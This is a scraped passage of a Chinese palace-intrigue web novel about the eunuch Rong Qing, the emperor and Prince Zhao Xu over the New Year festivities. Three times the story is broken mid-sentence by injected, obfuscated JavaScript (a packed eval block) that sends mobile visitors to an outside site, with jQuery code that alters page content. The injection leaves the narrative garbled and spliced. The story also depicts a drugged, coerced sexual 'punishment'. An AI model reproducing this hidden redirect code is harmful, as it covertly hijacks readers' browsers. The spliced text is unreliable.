;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿六“哦”了一声,恹恹地走了。 佛堂里檀香浓重,闻得赵珝头疼。他丢开了戏本,重新躺回榻上,盯着大慈大悲救苦救难的观世音菩萨,唇角露出一抹自嘲的笑。 他闭上眼,强迫自己入睡。 等再睁开眼,阿六趴在他榻边,高兴坏了,嘴里叭叭道:“殿下!殿下!万岁爷准了!即日便解除禁足,搬回乾东五所休养!要是殿下身子好些,明日的家宴也能参加呢!” 乾东五所…… 赵珝恍惚了一下。 也是,他还未封王,王府都还不过是一张纸,只得回乾东五所暂时居住。 ……院子里的桃树还在么? 树下埋着他少年时写的所有信,大概也都腐烂了罢。 容倾……也不会再站在树下,任凭花瓣落满肩头。 物是人非事事休。 11. 除夕 长乐不在身边伺候,容倾哪哪都不爽利。从雍园到礼部,一路上频频挑刺——暖炉不暖、背垫冷硬,轿子摇晃……代替长乐来伺候他的来福吓出了一身冷汗,好在没挨督主的骂,急忙换了几样东西,督主脸色方霁。 说白了,就是一种习惯。 习惯身边有某个人,知冷知热,寻常的话、体贴的话都能说。一时不在了,便觉浑身都膈应。若离得久了再回来,只怕是疏远了,无话可谈。 今个是除夕,礼部这帮老爷倒好,叫人家姑娘们这个时辰过来应选,晚上的团圆饭还不晓得能不能赶上。皇城里头已是处处张灯结彩,人人预备着迎接下一年,他却像孤魂野鬼一般,游荡不已,寻不到一个归属。 四喜关了禁闭,军粮亏空那事,暂时不好动。容倾吩咐人下去,勒令底下管漕运的人把裤腰带勒紧了,先将自个摘出去,再观望下一步。 噼里啪啦,不知谁家小儿等不及新岁便点燃了鞭炮,几只老鸦被吓得扑棱棱飞走了。容倾本就心乱如麻,被这鞭炮声一烦,愈发烦躁,猛地一扣轿壁:“停轿!” 轿子稳稳停下。 他撩开帘子,瞥见来福小心翼翼的脸,没有来一阵任性,语气冷淡道:“去礼部传话,就说是咱家的意思,天大地大,年节最大。让姑娘们都回去好生过个年,一切事宜,年后再说!” 若有姑娘后头得以入选,这便是能随家人们过的最后一个年了。 来福不得其解,但不好抗命,急忙遣了一个内侍去礼部传话,刚转个身,又听容倾道:“去外城转转,赶在申时回宫便可。” 暖轿就这般出了皇城,妆花金红的华贵轿子,落在熙熙攘攘的人群之中,忽而显得有些泯然众人。 容倾闭目养神,听了一耳朵的喧闹,叫卖声、铜锣声、笑闹声……百姓们忙着备年货,好收拾一新,为来年祈福。一点稀薄的、甜腻的香气钻入暖轿,他睁开眼,听见有人在叫:“糖瓜!有糖瓜买了啊!” 糖瓜,很甜,甜到发腻。 他爱吃甜的,天底下的甜食,鲜少有他没尝过的。可身子垮了,胃口也跟着落下去,舌头逐渐尝不出味道,酸甜苦辣咸,全不作数了,入口后皆是一片寡淡。 但他就是想吃。 买糖瓜的小贩正在忙活,身前的摊子上摆着各色饴糖,一旁的炉子里还在蒸着炊饼,忽见一顶金红小轿停在摊前,小轿后面跟着有一水的侍从、亲卫,登时吓得面色如土:“各位老爷,这这、这是要些什么?俺做的是小本生意,只怕——” “你这糖怎么个买法?” 轿帘掀开一角,一只苍白的手搭在窗棂上,指尖透着浅浅的红,兰花一般的纤细,声音也柔柔的、沙沙的,不像来找事。 小贩只当贵人稀奇,连忙堆笑道:“什么糖都有,糖瓜、响糖、琥珀糖……您瞧瞧爱吃什么糖!另有一些玉米面玫瑰馅的炊饼,老少咸宜……” 容倾坐在轿里头听小贩报价,不到一锭银子便能买一斤糖瓜,心里先是浮出茫然,而后又自嘲一笑。他离市井已经太远了,数着铜板偷偷买糖的日子一去不返,他竟一时拿不准,自己到底要买哪些糖、付多少钱。 左右那些花里胡哨的糖,他也尝不出味,只要了糖瓜,又随便点了些其他的糖和炊饼,算账时还不到半两银子。他一愣,顿了顿,摆摆手,叫来福留下几锭银子,就此离去。 小轿起行,将那目瞪口呆的小贩甩在身后。容倾靠着鹅绒软垫,垂眸看着膝上油纸包着的糖瓜,泛着油亮的光,有芝麻和粮食的香气。他挑开油纸包,露出里头被敲碎了的糖瓜,拈起一小块放入口中。 先是芝麻和猪油的香气,之后便能一阵寡淡的甜——但总归是甜的,很少的一点。糖瓜黏嘴得很,他费力地噎下去,又贪念那一点点甜,忍不住多吃了几块。 等他回过神,天地寂静。 “督主,回到宫里头了。”来福小声道。 他道:“嗯。”随手将糖瓜一包,揣入袖中,和药瓶、玉佩贴在一起,下了轿子。 明日正旦节……这宫里头兴许会热闹一些。 …… 晚上的家宴,赵珝果然来了。 容倾侍立在赵瞻身旁,抬起眸子,便见青年穿着靛蓝的衣袍,白着一张病容,由内侍引着,在不远处落座,态度十分恭谨。 也是奇了。容倾心中冷笑,这人病了一场,在佛堂发完那次疯,忽而就平静了下来,整个人淡淡的,看起来还真有几分超脱的气质。宴席过半,他也只是默默用膳,安安分分,最多低咳几声,对各种投来的目光熟视无睹,好似他真的只是来吃一顿寻常家宴。 赵瞻的四个儿子,除了赵珝,其余三位均已就藩,不在京师。殿内虽坐着皇后、几位妃嫔、宗室亲王,但人人脸上都挂着客气疏离的笑。赵瞻十几年不曾踏足后宫,同宫里头的这些女人,也实在无话可说。当然这些女人也只当自个是在宫里头熬资历的人偶,最多指望一下哪日自己的儿子登基,别的也求不来什么。 问候是例行的,欢声笑语自然也是装出来的。钟鼓司兢兢业业准备的喜庆戏文,请来了红遍大江南北的戏班子,也活跃不起气氛。明明殿里头坐满了人,却处处是寂寥。 气氛没半点过年的喜庆,一旁的掌印太监孟进便笑着挑起话题:“万岁爷,昨日礼部给五殿下拟的封号,是个‘宁’字。嚯哟,可真是个好兆头,来年必定风调雨顺、家国安宁呀。”说罢,看了一眼底下的赵珝。 赵珝闻言,便转出位子,跪地谢恩。 “‘宁’是个好字,也是朕的期许,五郎,莫负韶华。”赵瞻笑笑,似乎很满意这种父慈子孝的假象。他看向容倾,又问道:“朕记得今日礼部选秀女,容卿,你可替五郎选了一个好王妃?” 皇帝的语气似笑非笑。 赵珝的眼睛轻轻眨了一下。 “回万岁爷,还不曾选定。”容倾垂首答道。 “哦?”赵瞻挑眉,“朕见那些女子的画像,个个相貌端正、家世清白,莫非是性子不好?” 容倾沉默片刻,忽而跪在地上:“请万岁爷恕罪。” “这是怎么了?”赵瞻渐渐收了笑容,眼神里带了一丝淡淡的愠怒。 “臣自作主张,见正值年岁,便叫礼部送她们暂且归家过年,待年后再细细遴选,请万岁爷责罚。” 他说得坦荡,跪得也不卑不亢,仿佛自己没做错一般,秀女的事就该这么办。他没看见,身后的赵珝迅速抬头看了他一眼,神色复杂。 孟进语气里有几分幸灾乐祸:“哎呦,咱们容秉笔真会体恤人心,选王妃的事,万岁爷和皇后娘娘都没发话呢,容秉笔说推迟便推迟了,真是……任性极了。” “是么?”赵瞻淡淡道,脸上看不出喜怒。他先是浅浅看一眼容倾,目光一转,又落到下方跪着的赵珝身上。 过了好一会儿,赵瞻才仿佛刚想起什么似的,语气忽而宽和道:“罢了,一家人团聚的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305391|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子,叫秀女们在礼部候选,确实不妥……容卿,你谢什么罪?起来罢。” 容倾磕头:“谢主隆恩。” 他利落起身,垂眸回到原位。他能感觉到,有一道目光,来自那位新晋的“宁王”,同样的,他也察觉出赵瞻似乎并不算高兴。 但没关系,他至少混过去了。 家宴过后,众人齐聚在后苑,一面看戏班子玩闹,一面守岁。内侍们安排好了烟火,就等着时辰一到,叫满天散落星子。 容倾奉了命,下到梅园折几枝绿梅回去,供赵瞻清赏。他披着雪狐大氅,折了梅枝转身,便看见那大病初愈的孽障,站在不远处看着他。 “姐姐。”赵珝看起来十分无辜,眼睛在宫灯下格外恳切,“太久不见姐姐,前几日有些太过失态了,又因发了高热,冲撞了姐姐……实在是对不住。” 容倾冷笑一声:“怎么,这是病好了,脑子也跟着好了?苦肉计使完了,就打算换副面孔,过来同我软磨硬泡了?” “昨日我搬回了乾东五所,又瞧见了那棵桃树,一时想了很多,发觉自己怨的,不过是怨你我分道扬镳……”赵珝苦笑,上前几步,来到容倾面前。他身影高大,遮住了大半的月光,小心翼翼地伸出手,想同幼时那般,牵住容倾的衣袖一角,却又不敢真的触碰,指尖微动,旋即落下。 容倾静静地看着他。 演得真好。 大概赵珝还是太年轻,收不起身上的那股子锐气,哪怕做戏,也带着几分不屑与骄傲,骗骗旁人也就罢了,到了容倾这种老狐狸眼中,还是不够看。 容倾心里叹了口气,他抱着绿梅,面无表情,一只手伸入袖子,触碰到那块玉佩,以及一包已经冷掉了的糖瓜。 他没有将它扔过去,而是拉过赵珝的手,直接塞进了赵珝的掌心。 赵珝彻底愣住了,下意识地握紧那包糖瓜,竟不知作何反应。 他听见容倾叹了口气,带着一种近乎无奈的疲惫,像羽毛一般,在他的心上打转。 “小五。”容倾叫他的乳名,声音低得只有他们两人能听见,“既是知道错了,就少说两句罢。这糖瓜滋味尚可,赏你了。” “拿去,把嘴黏上……不许再乱说话了。” 说罢便一侧身,向热闹的地方走去。 赵珝恍然,连忙问:“那个玉佩……” 容倾当做没听见,将人彻底抛在了身后。 糖瓜甜腻的味道萦绕在赵珝鼻尖,他有些茫然,却又有些扭曲的快意。 他想,果然还是吃软不吃硬。 …… 容倾的预感没出错,赵瞻确实对秀女那事不大高兴。 为此,他受了一点惩罚。 赵瞻特地为他造了许多新奇的玩意,玉制的、金银制的……五花八门,用途不一,有时夜里赵瞻甚至不脱衣裳,只是用那些玩意儿或磨、或夹、或轻轻拍打,便是如此,也足够让容倾喝上一壶了。 大年夜里事多,赵瞻抽不出空,亲身给他惩罚,便取出了一条玉珠做的腿链,脱了他的亵裤,绑在大腿上,勒出两条漂亮的肉感的弧度。玉珠上刻着不同的、粗糙的纹路,紧紧贴着容倾,走一步,磨一下,多走几步,容倾就走不动了,瘫倒在地,难受得浑身颤抖。 赵瞻亲他的额头,手掌轻轻握着他的大腿,柔声道:“明个你就在乾清宫内伺候,不过……可不许偷偷取下来,这么一点点的惩罚,子定,你行的,是么?” 12. 薄情 正旦节,辞旧岁,大饮大嚼,鼓乐喧阗。 赵珝随了大流,帽上也簪了闹蛾,去给皇帝、皇后拜年。他停了药,身子逐渐硬朗,只有面色还带点苍白,一副大病初愈的模样。 昨夜容倾给他的那包糖瓜,被他揣在袖子里,险些捂化了,黏糊糊的,眼看是不能吃了。他还是挑了一小块尚且完整的放入口中,甜得他牙疼,也不晓得这些年容倾为何愈发嗜甜。他倚靠着窗,嘴里滚着糖瓜,看窗外还未出芽的桃树,看天边星落如雨。 又是一年。 那糖瓜虽甜得恶心,可赵珝还是喜欢。 既然容倾能给他好脸色看,就说明事情还有转机,他要做的,便是装作一个好儿子,一点点软化容倾身上那层冷硬的冰壳。 而如今万事俱备,只欠东风。 如此想来,他心情登时明媚了几分,纡尊降贵,亲自前往乾清宫拜年,就为瞧一眼容倾。 乾清宫里难得多了几分热闹。 赵珝规规矩矩拜过年,与众人说着吉祥的套话,目光却始终若有若无瞥向那一抹绯红的身影,他想和那人说句话,祝一句平安喜乐。 今日的容倾打扮得格外隆重。大红的蟒袍、金玉麒麟带,耳垂上缀着明珠,发上簪着薄薄一片的金花,走动时如蝴蝶起落,衬得他肤白胜雪、容貌昳丽,纵使满殿华彩,也压不住他一丝一毫的风华。他脸上带着恰到好处的微笑,谦卑,恭谨,两颊似乎抹了胭脂,眸子里水波潋滟,看得人目眩神迷。 不对劲。 赵珝缓缓皱起眉。 他总觉得容倾的动作很是僵硬,始终站在那儿,稍微一挪动,身子还在微微颤抖。 ——是不舒服么? 容倾的身子骨差,赵珝也是知道的。那年容倾从大同监军回来,身子都快埋半截土里了,寻遍天下名医,废去武功,才勉强活了下来。 这次赵珝归来,握住对方的手,能感觉得到也不过是吊着一口气,时不时脸色发白、低声咳嗽,连前几日赵珝高热不退之时,都能轻而易举推倒…… 正旦这一日,宫宴从早办到晚。内侍们扮作驱邪的神仙,在宫里头到处走动。每隔一个时辰,乾清宫丹墀内便放大花炮,文武百官觐见,此外还有些番邦来的传教士,连扣押在京师的鞑靼、瓦剌等族战俘,也得上到御前祝贺。 而容倾均无身影。 赵珝不免担心,他趁午宴之后的空闲,又去了一趟乾清宫,随手拉住一个内侍,问:“你可晓得容秉笔在何处?” “回宁王殿下,容秉笔正在偏殿歇着。”那内侍道。 果真是不舒服? 赵珝攥紧拳头,匆匆入了偏殿,寻视一圈,终于在一处角落找见了容倾。那人似乎难受极了,趴在小几上,单薄的身子一起一伏,帽子歪在一边,青丝垂落,金花和闹蛾缀在发上,闪着微渺的金光。 “……姐姐。”他上前,轻轻扶住容倾的肩头,问,“你还好么?要不要找太医?”他像一个向长辈邀功的小孩,有些雀跃,又带着焦急道:“我在辽东,找了好些珍稀药材,还亲手打了好几只紫貂,做成大氅,明日便遣人给你送去。你的身子太差了,得好好养上一养……” 掌心下的人身子一抖一抖,似乎是用尽全力,才挤出一句话: “滚出去!” …… 滚出去。 容倾脑海里只剩下这么一个念头。 …… 赵瞻见他已经成一滩春水,又咳出了血,便抱他进到偏殿,一面哄他,一面喂给他那副虎狼之药,轻声细语让他等上一时辰,等前朝的事忙完了,自然会回来为他解药。可左等右等,大花炮响了一声又一声,也不见皇帝的身影。他只能趴在着冰冷的小几上,企图汲取出些许的清醒,以捱过这漫长的浪潮。 谁料来的竟是赵珝。 这冤家来这儿作甚?真应该拿糖瓜把这人的嘴和脚都黏起来,囫囵一团,丢出京师,去天南海北好好当他的宁王,而不是在这个地方,看到他最不堪和下贱的模样。 容倾咬住下唇,眼角面颊皆是桃花般的薄红,一滴热泪顺着脸颊流淌,淌到一半,泪已经冷下来了,冰凉地覆在他的脸上。 “滚出去。” 他又重复一遍,隐隐带上了哭腔。 赵珝闻言,非但没有退后,甚至半抱起他,强行让他的脸对着自己,语气里的担忧几乎满了出来:“姐姐,你怎样了?可是旧疾复发?我带你去找太医。”说罢,便要把人抱走。 “别碰我!”容倾猛地推开他的手,跌坐在软榻上,素来沉静的眼眸里已是涣散一片,几乎是崩溃地哀求道,“求你……你走……好不好?” 他明明想的是不能让赵珝看见,可身子还是背叛了他的心。 这般缱绻的画面,赵珝要是还没反应过来,那他干脆别做男人了。寻常的病痛怎会让人面色潮红、眼神涣散,甚至…… 沾着薄汗的、涣散的脸。 梦里的,梦外的,渐渐重合。 赵珝瞳孔微缩,手指颤抖着抚上容倾的脸颊,温凉而湿润,他不可置信道:“他对你做了什么?他是不是用了什么龌龊的药?是不是在惩罚你?” 某一瞬间,巨大苦楚竟然压灭了欲念,赵珝只是很单纯、很悲伤地想带容倾走。他抱紧了容倾,手绕过膝弯,不料却碰到对方腿上的玉链,又是引得一阵颤抖与哭泣。 “带我走……哼。” 容倾在欢与痛的撕扯之中,反而清醒了一点。 他看着赵珝尚且年轻的、却又肖似其父的脸,忽而嘲讽地笑了一笑:“赵珝,你真的是他的儿子么?” 赵珝一愣,他并不想是,但他必须是。 “你能给我什么?” 容倾气若游丝。 “你什么也给不了。” 爬到了高位后,只想爬得更高,人心是无法满足的。哪怕有那么些许时刻,他依旧贪恋世俗的温暖,却心知肚明开弓没有回头箭,一旦沾染上权与欲,再也不可能变回寻常人了。 赵瞻是天底下最薄情的人。 容倾跟在他身边久了,学会许多东西,其中之一,便是薄情。说难听点,寡恩寡德,绝情绝爱,人不人鬼不鬼,所有人不过是维系自身的棋子。 他不禁好奇,赵珝的生母洪嫔,究竟是个怎样的性子。是个痴情的女人么?不然为何生出了一个大情种? 他几乎要笑出声了。 赵珝听不见他心里刻薄的话,只见怀 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赵珝跪在地上,死死咬着牙,口中血腥气翻涌,他道:“儿臣……见容秉笔似有不适,心中担忧,故前来探视。儿臣……这就告退。” “容卿身子不适,你却还来叨扰他,岂不是更加不妥?”赵瞻面露责怪,好似他真的在申饬一位不听话、冲撞了长辈的儿子,“朕赐你‘忠孝仁义’,便是要你懂得孝顺。容卿虽是个奴婢,却也是你的半个长辈。再说,他身子不适,你为何不传唤太医?” 赵珝一字一句道:“儿臣一时手忙脚乱……” “五郎,”赵瞻稍稍收敛了笑意,“你有这份孝心是好的。但容卿自有朕看顾,不劳你费心。你是皇子,当知分寸,莫要行差踏错,失了体统。” “你不是还有一个心上人么?” “若在大婚前闹出了不好的传闻,五郎,有失天家颜面啊!” 赵瞻说罢,浅浅叹息。他上前抱起容倾,轻声问:“五郎可有冲撞了你?” 容倾涩声道:“不曾……五殿下,是个知礼的好孩子。” “那就好。”赵瞻似笑非笑,“五郎,退下罢,前朝将士们在找你吃酒呢,莫要辜负了他们的一片豪情。” “儿臣……遵命。” 赵珝走出乾清宫,日光笼罩着他。他忽而后悔昨夜吃了糖瓜,此刻将他的五脏六腑通通黏在了一起,痛得他几乎无法行走。 你什么也给不了。 不。 赵珝眉间溢出一丝阴翳。 他能给。 若真有那日,容倾会要么? …… 翌日,仍是庆贺新岁。 容倾站在玉阶上,看赵珝一步步上前。 “容秉笔,新岁康健。” 赵珝礼貌笑笑,声音平稳无波,好似昨日之事从未发生,当然,也好似他们从未有过在乾东五所的那些年月。 容倾的脚步几不可察地顿了一下,长睫微垂,掩去所有情绪,同样客气而疏远地还礼: “谢殿下,臣亦祝殿下新岁无忧、觅得佳偶。” 再无他言。 13.玩意 乾清宫前那两句轻飘飘的问候,便是容倾与赵珝这几日唯一的交际。 赵珝似乎彻底沉了下去,脸色一日日红润,身上的气度却愈发凝固。那日在偏殿的事,虽说让容倾恶心不已,却意外叫赵珝收敛了许多,也算某种因祸得福。 忙过初三,容倾总算得了空子,回到雍园歇息,回到雍园深处的那幢小楼。踏入屋子,满目繁华,他面露几分疲倦,淡声对来福吩咐道:“你去把长乐叫来。” 来福如蒙大赦:“奴婢遵命!”这几日可把他为难坏了! 容倾吩咐完来福,脱下一身的累赘,随意裹上一件大氅,靠在软榻上,眼睛一眨不眨地瞧着窗外交错的枯枝。 外头有下人来报,说正旦前后,各方来礼,万岁爷那儿也赏了新东西,请容倾过目。左右也无事可做,容倾便让几个小内侍把年礼一件件搬进来,挨个清点造册。 年礼孝敬如流水,头一个箱子便是赵瞻赐的。常例的金银锦缎、器物禄米自不必说,另有东珠一斛,个个光洁饱满,还有几套首饰衣裳,都是赵瞻亲自过目。赵瞻自个节俭,倒没怎么苦过容倾,出手一向大方。 容倾拂过其中一顶凤冠,指尖微凉,日光在幽蓝的翠羽上流转,光华璀璨。这并不是后妃那种形制的凤冠,其上有凤鸟繁花、玉台仙人,与其说佩戴,不如说更像个拿来把玩的物件。 他不着痕迹一皱眉,旋即又舒展开来,露出一个淡淡的笑容。 何苦同这些漂亮玩意儿过不去? 就在这时,一个微微有些颤抖的声音在他背后道:“奴婢参见督主,祝督主新岁吉祥、万事如意。” 容倾指尖拈起一颗东珠,略略回过头,瞥一眼不远处跪着的长乐,轻轻“嗯”了一声:“起来罢,到我这儿来。” “是。” 长乐几日不见容倾,竟有点手足无措。轻手轻脚来到容倾身旁,目光落在那一头垂落的青丝,颤抖着手,为容倾顺发。 他撩开容倾后颈一大缕发丝,忽而一怔。只见素白的肌肤上散落着情痕,从颈子一直到衣领里,如桃花一般,星星点点,透着暧昧的红。 长乐愣住了,想起这几日容倾都在宫中伺候,只怕是……他讷讷道:“是万岁爷……” “行了。”容倾丢开手里的东珠,“叫他们把这些东西收起来。” 长乐嗫嚅着应下,憋回眼泪,默不作声。 年礼五花八门,除去大部分的金银,还有一些相当新奇的玩意儿。宋时雨不知从哪里搞来了一个大匣子,宫灯大小,外头是红木雕成的壁橱,大燕流行的样式,上头刻着仙人奏乐、八仙渡海,却围着一幅番邦人的画,画的是一队奇装异服的红毛夷,站在礁石上吹号角。 匣子一旁有贴金的摇杆,容倾好奇,伸手摇了摇,唰啦一声,匣子上的画眨眼换了一幅,变成了番邦人的船队在海浪中飘摇。再一摇,画面又转。容倾摇了好几次,次次不同,上头的内容也逐渐从番邦人的海上记事,变成了大燕百姓的市井日常。 容倾忍不住挑眉。这东西好玩,比那些个古玩字画有趣多了,连一旁的内侍们都禁不住拿眼直瞧,嘴里发出惊奇的吸气声。 又是唰啦一声,画面再转,容倾脸色微变,几乎要被宋时雨气笑了,而内侍们也目瞪口呆,愣在原地。 那画上分明是一群纠缠的男女,大行风月之事,画得纤毫毕现、栩栩如生,看得人面赤耳热,简直是有伤风化! 长乐傻眼了:“宋、宋指挥使这是……” “犯贱。”容倾对此物冷冷点评道。他伸出手,试图将那艳戏图撕下来,谁料外头竟装了一层琉璃,触不到里头的画纸。他脑海里登时浮现出宋时雨讨人厌的笑脸,黏腻又膈应,死命地缠上来,颇有种不到手誓不罢休的劲。 “这玩意儿倒是有点意思,可惜画工粗劣,登不得大雅之堂。收起来,等下回见到宋指挥使,原样还给他,就说——”他顿了顿,面无表情接着道,“就说看了脏眼睛,让他自己拿回去把玩罢。” 春宫艳戏,并不少见,大燕市井风气愈发开放,不少才子士人,甚至当众大谈特谈风月之事,官宦之间互赠猛药、传授床笫秘术,都是常见的事。 但容倾不喜欢。 他一直有些微妙的保守。 “拿下去。”容倾闭上眼,摆了摆手。 被宋时雨这么恶心一遭,容倾瞧那些附庸风雅的字画都顺眼了许多。念到大同总兵寇聪的年礼单时,他脸色大霁,眉目弯弯,对长乐道:“你还记得寇大帅么?” “自然记得,天下谁人不知寇大帅呢?”长乐也笑了,仿佛提起这位传奇的大将军,便能叫人高兴似的,“寇大帅送了什么?” 也没送什么,武将不好和大太监走太近,送的是寻常的年礼,腊肉、酪蛋子……吃的用的,山西那头的风物,挑不出错处。 容倾吃了一口酪蛋子,有股他适应不了的奶腥味,但味道总归是让他怀念的。在大同监军的那些年岁,没啥好吃的,寇聪就去蒙民手里买来奶皮子、酪蛋子,分给容倾和十几岁的小兵。 大同周边地区的汉人蒙人,都叫寇聪“阿爸”。 除了寇聪,天南海北的故人们也送来了年礼,不过是一些简单而珍重的吃食、器具以及药材,胜在礼轻情意重。容倾早年走遍大燕,结识了不少奇人异士。那时他策马奔腾,武功独步天下,总以为天大地大,没有他不能去的地方。 如今却被死死困在京师。 他从大同回来之后,赵瞻几乎将他囚禁在了身边,给他建造雍园,勒令他不得擅自离京,久而久之,他连外城也很少去了。 “说起寇大帅,我想起他年后要回京述职,有两三年不见了,不知是否安好。鞑靼东线受辽东军重创,他这几年也能松一口气。”容倾笑道。 长乐也笑:“辽东军吴总兵那儿,也送了年礼,督主瞧瞧?” 容倾有些累了,随意看了看,也是一些不逾矩的风物和药材,谁知紧接着一个内侍推来一个大笼子,里头立着一只海东青。 “这是……”容倾一愣。 “回督主,这是五殿下送的。”推笼子的小内侍怯生生道,“另还有些皮毛和药材……您看……” “他送这玩意儿作甚?”容倾转头对长乐说道,一脸的不可思议,“我又不会训,谁来训?他么?他是不是疯了?” 就算容倾再是刻意回避,也不是不承认,偏殿那事过后,他真的不想再见赵珝一面。此事太过荒谬,哪有父亲当着儿子的面玩弄情人的?容倾只要回想起那日的画面,就忍不住犯恶心。 那只海东青羽毛丰满,此刻爪子紧紧攀附在鸟架上,圆黑的眼珠子一动不动,死死盯着容倾。 容倾在它的眼睛里瞧见了自己。 黑白分明的一道身影。 “五殿下今早送来的……说请督主先用笼子养着,每日早晚喂食活耗子和生肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320034|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即可,等、等殿下他有空了,亲自替督主调/教这只海东青……”小内侍偷摸抹了把汗。 “够了。”容倾止住内侍的话头。 他与那只海东青冷冷对视一眼,沉默良久,忽而对长乐淡漠道:“去给宋时雨传信,让他想办法把那件事捅出去,最好赶在辽东军离京之前。” 话音刚落,海东青动了一下翅膀,歪着头,眼珠子依旧不离容倾分毫。 容倾对它莫名笑了笑。 他伸出手,试图抚摸海东青。而那只海东青竟然乖巧地凑上前,让他摸了一下尖锐的鸟喙,以及柔顺的翼羽。 “放心。”容倾笑道,“饿不死你的。” …… 今岁注定是个大变之年。 年节过后,有不少外放的官员回京述职,其中不乏呼风唤雨之辈。 容倾正翻看回京任职的人员名单,指尖落在“沈廷琛”三个字上,露出一丝颇有兴味的笑。 “光瑞十四年的探花郎……两任苏州知府,政绩出众……”他低声自语,声音里听不出情绪,“从苏州那地方全身而退,还挣得一个‘政绩出众’的好名声,擢升回京,任都察院的右副都御史……外号沈青天?” 不过三十的正三品大员…… 确实担得上一句年少有为。 容倾略一思忖,觉得此人估摸不大好用,指不定对方哪日就一纸奏章直达赵瞻面前,将他一顿好骂…… 他合上名单,将此人归入了“棘手”与“需重点提防”的队列。沈廷琛恐怕不是一把能轻易使用的刀,稍有不慎,反而会割伤自己。 他打算再观望观望。 第二日朝会散后,文武百官如潮水涌走,容倾自丹陛款步而下,与一人正面碰上。 那是个三十岁左右的男人,身着簇新的绯色孔雀补官服,眉目疏朗,本是一幅儒雅的好相貌,却因通身冰冷,给人一种不好相与的感觉。此人不拘言笑,抬眼淡淡扫过容倾,声音低沉问道:“可是司礼监秉笔,容公公?” “正是。”容倾停下脚步,客气一笑,“百闻不如一见,沈大人果然一表人才,咱家虽久居宫禁,倒也听说过沈大人沈青天的事迹,幸会,幸会。” 幸会? 沈廷琛看着眼前的红衣大珰,眼睛又冷了几分。 他的目光扫过对方身上的每一处,从绯红织金的蟒袍,到被玉带收束、纤细柔韧的腰;从秀挺的鼻梁,到微微上挑的桃花眼…… 尤其那双眼睛,睫羽浓密,映得眼珠子浓黑一片。明明这阉人是笑着的,可笑意抵达不到眼底,沈廷琛几乎以为自己在和一条艳丽的毒蛇对视。 眉目秾丽,身段柔靡,果真是个妖孽。 沈廷琛心中闪过不适,他面上不显,只是淡淡一颔首:“不敢当‘青天’二字,百姓戏言,还望容公公切勿当真。沈某还有公务在身,告辞。” 说罢,他拂袖而去,竟是不再多看容倾一眼。 他的手探入袖中,摸到一份奏章。 奏章上头详细描述了辽东近三年军粮的走向,从江南沿运河而上损耗了多少,由何人经手,这些人又与朝中哪些大人物有关…… 字字句句,皆无作假。 沈廷琛脑海里不禁浮现出方才那妖精一般的身影,竟无端感到一丝惋惜。 如此姿容,偏偏是个阉人,还胆大包天,敢插手漕运、盐务,不就是找死么? ……可惜了。 14.驯鹰 容倾观望了沈廷琛好几日。 这人性子冷硬、安分守己,每日处理完公务便回府,府上冷冷清清,无妻无妾,只有一个不争气的弟弟,早年便分了家。兄弟不睦,这是沈廷琛唯一叫人诟病的点。 南直隶一带的事,尤其他经过手的,处理得几乎完美无缺,偶有疏漏,也是寻常的一些差错,落不得什么话柄。 他有自信沈廷琛抓不到他的尾巴。 便是抓到了,他也做好了万全准备。 令他烦恼的是那头海东青。 这扁毛畜牲乍一看温顺,任凭容倾摸来摸去,不躲也不啄,偏生梗着脖子,一口水不喝、一口肉也不沾。他特地找了东厂里会驯鹰的番子,结果那老番子咂摸了半天,为难道:“督主,这海东青野性难驯,认了死主,心里憋着一股傲气,不肯向第二人低头呢!下官实在驯不了啊!” 认哪个主? 自然是赵珝。 不出三日,主人上门来了。 容倾并无什么折磨海东青的心思。他的雍园里挂了几十只笼子,里头全是稀奇的画眉、鹦哥,另有猫儿狗儿若干只,皮毛油光水滑的,小内侍们爱养,他也不拦着。 “它不吃东西?”赵珝问,神色自若。 长乐瞥一眼容倾,见自家督主靠在美人榻上闭目养神,只好硬着头皮答道:“回殿下,这海东青不吃不喝,已经有三天了。” “嗯。”赵珝淡淡看一眼长乐,“我去瞧瞧。” 长乐登时有些心虚。 转念一想,玉佩已经还给了督主,督主也没说什么,他何必心虚? 而一旁的赵珝正在给自己的右臂绑护具,柔软坚韧的牛皮护臂,结实的手臂,海东青尖啸一声,从笼中飞出来,稳稳当当站在他的右臂上,亲昵地蹭了蹭他的手。 他撕下两条肉片,喂给海东青,略一抬头,便瞧见容倾正看着他,不,看着海东青,睫羽半垂,神色恹恹道:“它叫什么名字?” 赵珝道:“□□。” 容倾问:“怎么是鞑靼那儿的名字?” 赵珝笑:“这只海东青本是一年前鞑靼降将赠与我的,‘□□’用大燕官话来说,便是‘英雄’的意思。”说这话时,他眉间的阴郁散开些许,终于又露出符合年纪的意气风发,语气中带着几分不易察觉的炫耀,“我熬了它大概月余,又驯了大半年,才变得乖顺起来。” 